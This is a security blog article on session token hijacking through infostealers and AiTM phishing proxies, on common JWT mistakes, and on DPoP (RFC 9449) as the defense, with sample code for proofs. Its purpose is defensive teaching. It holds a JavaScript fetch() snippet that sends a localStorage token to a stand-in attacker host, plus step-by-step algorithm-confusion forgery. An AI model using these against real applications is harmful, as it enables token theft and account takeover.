Skip to content
Cybersecurity

Why Attackers Stopped Cracking Passwords: The Session Token Hijacking Epidemic & The DPoP Defense

Why modern cybercriminals no longer bother cracking passwords or bypassing MFA, how infostealers and AiTM proxies hijack active session tokens, and how RFC 9449 (DPoP) cryptographically neutralizes token theft.

The CyberTools Team · Follow
Security & Identity Architecture 9 min read
Share
X LinkedIn
Quick answer

Attackers have pivoted from cracking passwords to stealing session tokens (JWTs and session cookies) because valid tokens bypass passwords and MFA entirely. DPoP (Demonstrating Proof-of-Possession, RFC 9449) neutralizes this by cryptographically binding access and refresh tokens to a client's private key, making stolen tokens completely useless to an adversary.

If you asked a cybersecurity engineer in 2015 how accounts get hacked, they would talk about brute-force dictionary attacks, rainbow tables, credential stuffing, and weak passwords.

In 2026, almost nobody attacks passwords anymore.

The widespread adoption of multi-factor authentication (MFA), account lockout throttles, and breached password detection has made brute-forcing credentials a terrible return on investment for cybercriminals. Instead, modern threat actors exploit a glaring architectural vulnerability in how web applications handle authentication: the Bearer Token paradigm.

Why spend weeks guessing a password or trying to bypass a hardware YubiKey when you can simply wait until the user logs in, let them solve their MFA challenge, and steal the active session token right out of their browser memory?

This technique—known as Session Token Hijacking (or Pass-the-Cookie)—has fueled some of the most devastating breaches of the decade, from the complete takeover of high-profile tech channels to deep intrusions inside Fortune 500 corporate SSO environments.

To permanently kill this attack vector, the Internet Engineering Task Force (IETF) published RFC 9449: Demonstrating Proof-of-Possession (DPoP).

Here is an end-to-end technical breakdown of how session hijacking actually works, the real-world incidents proving traditional MFA is not enough, why standard JSON Web Tokens (JWTs) act like unguarded cash, and how DPoP’s cryptographic key binding fundamentally neutralizes token theft.


The Bearer Problem: Why Traditional Tokens Fail

To understand session hijacking, you must understand RFC 6750 (The OAuth 2.0 Bearer Token Usage).

Under RFC 6750, access tokens and session cookies are defined as Bearer Tokens:

“A security token with the property that any party in possession of the token (a ‘bearer’) can use the token in any way that any other party in possession of it can.”

Think of a bearer token like a $100 bill or a hotel room keycard. If you drop your room keycard in the elevator and a stranger picks it up, the elevator and door lock do not care who is holding the card. They only care that the card was tapped.

[Legitimate User] ──► Logs in with Password + MFA ──► Receives Bearer JWT
                                                              │
                                            (Attacker Steals Bearer JWT)
                                                              │
                                                              ▼
[Attacker Laptop (Abroad)] ──► Sends: "Authorization: Bearer <Stolen_JWT>"
                                                              │
                                                              ▼
[API Server] ──► Checks signature ──► Valid! ──► Grants Full Account Access

If an attacker intercepts or steals a Bearer JWT, they do not need your password. They do not need your SMS code. They do not need your authenticator app. They simply attach the stolen string to their own HTTP requests:

GET /api/v1/user/payroll HTTP/1.1
Host: internal.company.com
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...

The API verifies the cryptographic signature with its public key, observes that the token has not expired, and executes the request. To the server, the attacker looks 100% identical to the legitimate employee.


Anatomy of the Attack: How Tokens Get Stolen in the Wild

Adversaries do not need zero-day exploits to steal session tokens. The modern threat landscape relies on two hyper-scalable delivery mechanisms:

                  ┌──────────────────────────────────────────────┐
                  │ HOW SESSION TOKENS ARE ACTUALLY HIJACKED     │
                  └──────────────────────┬───────────────────────┘
                                         │
                 ┌───────────────────────┴───────────────────────┐
                 ▼                                               ▼
       [Vector 1: Infostealers]                        [Vector 2: AiTM Proxies]
       (Lumma, Vidar, RedLine)                         (Evilginx Reverse Proxies)
                 │                                               │
                 ▼                                               ▼
     Malicious background payload                  Fake phishing proxy relays
     extracts SQLite cookies & tokens              credentials to real service,
     from disk and browser DPAPI.                  captures resulting session cookie.

1. Infostealer Malware (The Endpoint Scraping Vector)

Infostealers (such as Lumma Stealer, Vidar, and Rhadamanthys) are lightweight C/C++ or Rust payloads distributed through pirated software, malicious search engine ads (ClickFix/malvertising), or spear-phishing PDFs.

Once running on a workstation, an infostealer does not waste time looking for saved passwords in plain text. It immediately targets the browser’s data directory:

  • On Windows, it reads %LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies (an SQLite database).
  • Although Chromium encrypts cookie values using Windows DPAPI (Data Protection API), the infostealer is running under the victim’s Windows user session. It simply calls the DPAPI function CryptUnprotectData, recovers the AES encryption master key, and decrypts every active session cookie and JWT in milliseconds.
  • The stolen tokens are packaged into a .zip archive and exfiltrated to a Telegram bot or command-and-control (C2) server.

Real-World Case Study: The Linus Tech Tips Hijacking

In early 2023, the 15-million-subscriber YouTube channel Linus Tech Tips (LTT) was famously hijacked. An employee opened a fake sponsor agreement file disguised as a PDF. The embedded infostealer scraped the user’s active YouTube session cookies and exfiltrated them.

Within minutes, attackers in another country loaded the cookies into their own browser session, accessed YouTube Studio without ever seeing a login screen or triggering Google Authenticator, and immediately began live-streaming crypto scam videos.

2. Adversary-in-the-Middle (AiTM) Phishing Proxies

Traditional phishing creates a clone of a login page (e.g. login.microsoftonline.com.attacker.com). When a user types their password, the attacker steals it. But if the account has MFA enabled, the attacker is stuck.

AiTM attacks solve this with reverse proxies like Evilginx:

[Victim] ──────► [Evilginx Phishing Proxy] ──────► [Real Microsoft 365 / Okta]
                 (Acts as Man-in-the-Middle)
                       │
                       ├── 1. Relays login page to victim
                       ├── 2. Victim enters password
                       ├── 3. Relays MFA push to victim's phone
                       ├── 4. Victim approves MFA
                       ▼
                 [INTERCEPTS SESSION COOKIE / JWT]
                       │
                       ▼
                 [Attacker logs in directly; victim is redirected to real app]
  1. The victim clicks a phishing link and sees the actual, real Microsoft or Okta login screen rendered through the attacker’s proxy.
  2. The victim enters their password. The proxy passes it to the real identity provider.
  3. The real identity provider challenges the victim for an MFA code or phone push. The victim completes the prompt.
  4. The real identity provider issues a successful Set-Cookie header containing the active session token.
  5. The proxy intercepts and saves the session token, then forwards the victim to their real dashboard. The victim suspects nothing, but the attacker now possesses a fully authenticated session.

Common JWT Implementation Traps Developers Still Fall For

Even when tokens are not stolen by malware, architectural bugs in how developers verify JSON Web Tokens create massive security holes:

Trap 1: Storing JWTs in localStorage

Many Single Page Applications (SPAs) store JWT access and refresh tokens in localStorage or sessionStorage for convenience:

// ❌ CRITICAL SECURITY FLAW: Vulnerable to XSS
localStorage.setItem('access_token', token);

Any JavaScript running in the execution context of that page can read localStorage. A single cross-site scripting (XSS) vulnerability, an infected third-party analytics script, or a compromised npm dependency can execute:

// Malicious script payload
fetch('https://c2.attacker.com/leak', {
  method: 'POST',
  body: localStorage.getItem('access_token')
});

The Fix: Store tokens in HttpOnly; Secure; SameSite=Strict cookies with the __Host- prefix. JavaScript cannot read HttpOnly cookies, completely mitigating token exfiltration via DOM-based XSS.

Trap 2: The Algorithm Confusion Attack (RS256 vs. HS256)

In asymmetric signing (RS256), the identity server signs the JWT using a private key, and resource servers verify it using a public key. The public key is world-readable (often hosted at /.well-known/jwks.json).

In symmetric signing (HS256), both signing and verification use the exact same shared secret.

Vulnerability Flow:
1. Attacker obtains the target's public key (public.pem).
2. Attacker crafts a fake admin JWT and sets header: {"alg": "HS256"}.
3. Attacker signs the token using the text of the PUBLIC KEY as the HMAC secret!
4. Vulnerable backend sees "HS256", loads its verification key (the public key),
   and performs an HMAC check: HMAC(payload, public.pem) === signature.
5. Signature MATCHES! The attacker is granted admin privileges.

The Fix: Never let the incoming JWT header decide which algorithm the server uses. Hardcode and whitelist the expected verification algorithm programmatically:

// ✅ SECURE: Enforce algorithm explicitly
jwt.verify(token, publicKey, { algorithms: ['RS256'] });

Enter DPoP (RFC 9449): Cryptographically Binding Tokens to Clients

To eliminate bearer token replay attacks once and for all, the IETF developed DPoP (Demonstrating Proof-of-Possession).

The Core Concept: Sender-Constrained Tokens

Instead of a bearer token (cash), DPoP turns an access token into a Sender-Constrained Token (a registered identity document).

Under DPoP:

  1. The client browser creates an ephemeral asymmetric key pair (e.g. using elliptic curve ES256 or Ed25519) stored securely in memory via the browser’s native Web Crypto API.
  2. When requesting a token, the client sends its public key thumbprint. The authorization server issues an access token with a confirmation claim (cnf.jkt) permanently binding the token to that public key.
  3. Every single time the client makes an API call, it must generate a DPoP Proof JWT signed with its private key.
  4. The Magic: If an infostealer or malicious proxy steals the access token, it cannot use it. The attacker lacks the private key stored inside the victim’s client environment, so any request they make will be rejected with 401 Unauthorized.
[Client Environment]                                   [API Resource Server]
      │                                                         │
      │ ──► 1. Generates local ES256 key pair                   │
      │        (Private key is non-extractable)                 │
      │                                                         │
      │ ──► 2. API Request with TWO headers:                    │
      │        Authorization: DPoP <access_token>               │
      │        DPoP: <fresh_signed_proof_jwt> ────────────────► │
      │                                                         │ 3. Verifies:
      │                                                         │    - Proof signature matches cnf.jkt
      │                                                         │    - Proof matches HTTP Method (htm)
      │                                                         │    - Proof matches Target URI (htu)
      │                                                         │    - Nonce (jti) is fresh & unplayed
      │                                                         │
      │ ◄──────────────── 4. 200 OK (Data Returned) ─────────── │

Anatomy of a DPoP Proof JWT

On every request, the client attaches a lightweight proof JWT in the DPoP HTTP header. Let us look inside that proof:

The Header:

{
  "typ": "dpop+jwt",
  "alg": "ES256",
  "jwk": {
    "kty": "EC",
    "crv": "P-256",
    "x": "f83OJ3D2xFmT4v_Xasdf...",
    "y": "x_daE96jW8p6Ks-22sdf..."
  }
}

The Payload:

{
  "jti": "b78f66d5-b40a-4b17-9675-802681923055",
  "htm": "POST",
  "htu": "https://api.thecybertools.com/v1/transfer",
  "iat": 1793616000,
  "ath": "fUAGBzJ48ScZjfIxVoKGeMr6Bp6sfW_qBRJGsIEKTdI"
}

Why This Prevents Replay Attacks:

  • htm (HTTP Method): Proves the proof was generated specifically for a POST request. An attacker cannot capture a GET proof and replay it against a state-changing POST endpoint.
  • htu (HTTP URI): The exact target URL without query parameters. A proof generated for a benign endpoint cannot be used against a sensitive administrative endpoint.
  • ath (Access Token Hash): A SHA-256 hash of the access token string. This cryptographically marries the DPoP proof to that exact access token.
  • jti & iat (Unique ID & Timestamp): A unique nonce and creation timestamp. The resource server checks that the proof is fresh (e.g. less than 60 seconds old) and has not been replayed.

Hands-On: Generating a DPoP Proof with the Native Web Crypto API

Because DPoP is an open web standard, you do not need heavy third-party libraries to generate proofs in modern browsers. You can do it directly with standard Web Crypto API:

// 1. Generate an ephemeral, non-extractable ES256 key pair
async function initDPoPKeys(): Promise<CryptoKeyPair> {
  return await window.crypto.subtle.generateKey(
    { name: "ECDSA", namedCurve: "P-256" },
    false, // non-extractable: private key cannot be exported via JS!
    ["sign", "verify"]
  );
}

// 2. Base64URL encoding helper
function base64UrlEncode(buffer: ArrayBuffer | Uint8Array): string {
  const bytes = buffer instanceof Uint8Array ? buffer : new Uint8Array(buffer);
  let binary = "";
  for (let i = 0; i < bytes.byteLength; i++) {
    binary += String.fromCharCode(bytes[i]);
  }
  return btoa(binary).replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
}

// 3. Generate a fresh DPoP Proof for an outgoing API request
async function createDPoPProof(
  keys: CryptoKeyPair,
  httpMethod: string,
  targetUrl: string,
  accessToken?: string
): Promise<string> {
  const publicJwk = await window.crypto.subtle.exportKey("jwk", keys.publicKey);

  const header = {
    typ: "dpop+jwt",
    alg: "ES256",
    jwk: {
      kty: publicJwk.kty,
      crv: publicJwk.crv,
      x: publicJwk.x,
      y: publicJwk.y
    }
  };

  const payload: Record<string, any> = {
    jti: crypto.randomUUID(),
    htm: httpMethod.toUpperCase(),
    htu: targetUrl.split("?")[0],
    iat: Math.floor(Date.now() / 1000)
  };

  // If bound to an existing access token, include the SHA-256 hash (ath)
  if (accessToken) {
    const encoder = new TextEncoder();
    const tokenHash = await window.crypto.subtle.digest("SHA-256", encoder.encode(accessToken));
    payload.ath = base64UrlEncode(tokenHash);
  }

  const encodedHeader = base64UrlEncode(new TextEncoder().encode(JSON.stringify(header)));
  const encodedPayload = base64UrlEncode(new TextEncoder().encode(JSON.stringify(payload)));
  const signingInput = `${encodedHeader}.${encodedPayload}`;

  const signature = await window.crypto.subtle.sign(
    { name: "ECDSA", hash: { name: "SHA-256" } },
    keys.privateKey,
    new TextEncoder().encode(signingInput)
  );

  return `${signingInput}.${base64UrlEncode(signature)}`;
}

The Complete 2026 Authentication Defense Checklist

To protect web applications against session hijacking, infostealers, and token replay, engineering teams must deploy defense-in-depth:

Defensive LayerImplementation MechanismThreat Neutralized
1. Token BindingRFC 9449 DPoP or Mutual TLS (mTLS)Infostealer replay, stolen token reuse abroad, network log leaks
2. Storage HardeningHttpOnly; Secure; SameSite=Strict; __Host-DOM-based XSS token theft via localStorage
3. Phishing ResistanceFIDO2 / WebAuthn Hardware KeysAdversary-in-the-Middle (AiTM) reverse proxy phishing
4. Refresh Token LifecycleRefresh Token Rotation (RTR)Long-lived session persistence; automated revocation on replay detection
5. Claim VerificationStrict iss, aud, exp, nbf validationCross-service token relay, stale token abuse
6. Secret HygieneProgrammatic algorithm whitelistingAlgorithm confusion attacks (RS256 downcast to HS256)

Safe In-Browser Token Inspection

During development and debugging, developers frequently need to inspect JWT payloads, check expiration timestamps, or verify claim structures.

Warning: Many popular online JWT decoders send your tokens to their cloud servers to parse them. If you paste a production access token or authorization header into an unverified web form, you are actively leaking an active credential over the network.

To inspect tokens safely, use zero-upload, client-side tools:

  • Use TheCyberTools JWT Debugger to decode, inspect, and verify token signatures entirely in your browser memory using native Web Crypto APIs with zero network egress.
  • Use Base64 Encoder/Decoder to inspect individual headers and claim segments without exposing credentials.
  • Use Password Generator for generating high-entropy cryptographic HMAC shared secrets.

Authentication is shifting from trusting what you have to verifying who you are cryptographically bound to. By adopting DPoP and sender-constrained tokens, developers can finally close the gap that infostealers and session hijackers have exploited for over a decade.

Frequently asked questions

What is session token hijacking? +

Session token hijacking (also called 'pass-the-cookie') is an attack where an adversary steals the authentication token or cookie generated after a user successfully logs in. Because the server treats the token as proof of an authenticated session, the attacker can impersonate the victim immediately without needing their username, password, or multi-factor authentication (MFA) code.

Why doesn't multi-factor authentication (MFA) prevent session theft? +

Standard MFA (SMS codes, authenticator apps, push notifications) only protects the initial login handshake. Once MFA is completed, the identity provider issues a session cookie or JSON Web Token (JWT). If that token is stolen by infostealer malware or intercepted by an Adversary-in-the-Middle (AiTM) proxy, the attacker replays the active session directly, bypassing MFA entirely.

What is DPoP (RFC 9449)? +

DPoP (Demonstrating Proof-of-Possession, defined in RFC 9449) is an OAuth 2.0 extension that converts standard bearer tokens into 'sender-constrained tokens'. The client generates a local asymmetric cryptographic key pair, and the authorization server binds the token to that key. On every API request, the client must sign a unique DPoP Proof header with its private key; without that key, a stolen token cannot be used.

What is the difference between a Bearer Token and a Sender-Constrained Token? +

A Bearer Token is like cash: anyone who holds it can use it, regardless of how they obtained it. A Sender-Constrained Token (like a DPoP-bound token) is like a registered cashier's check that requires matching cryptographic identification: only the entity holding the private key bound to the token can present it to an API.

Is storing JWTs in localStorage safe? +

No. Any JavaScript executing on your page—including third-party analytics, npm dependencies, or Cross-Site Scripting (XSS) injections—can access localStorage and exfiltrate your tokens. Production web applications should store sensitive session tokens in HttpOnly, Secure, SameSite=Strict cookies with the __Host- prefix whenever possible.

How can I inspect a JWT without leaking it to external servers? +

Many online JWT decoders send your token to their cloud servers for parsing, exposing sensitive claims and signatures. Always use client-side, in-browser tools (like TheCyberTools JWT Debugger) that parse and validate tokens locally in your browser memory without any network egress.

Was this article helpful?

Your reaction helps us write clearer, more practical security guides.

Cybersecurity JWT OAuth Authentication Security Web Development

Written by
The CyberTools Team

Security & Identity Architecture — plain-English guides and free, in-browser tools for hashing, passwords, encoding and safe downloads.

More articles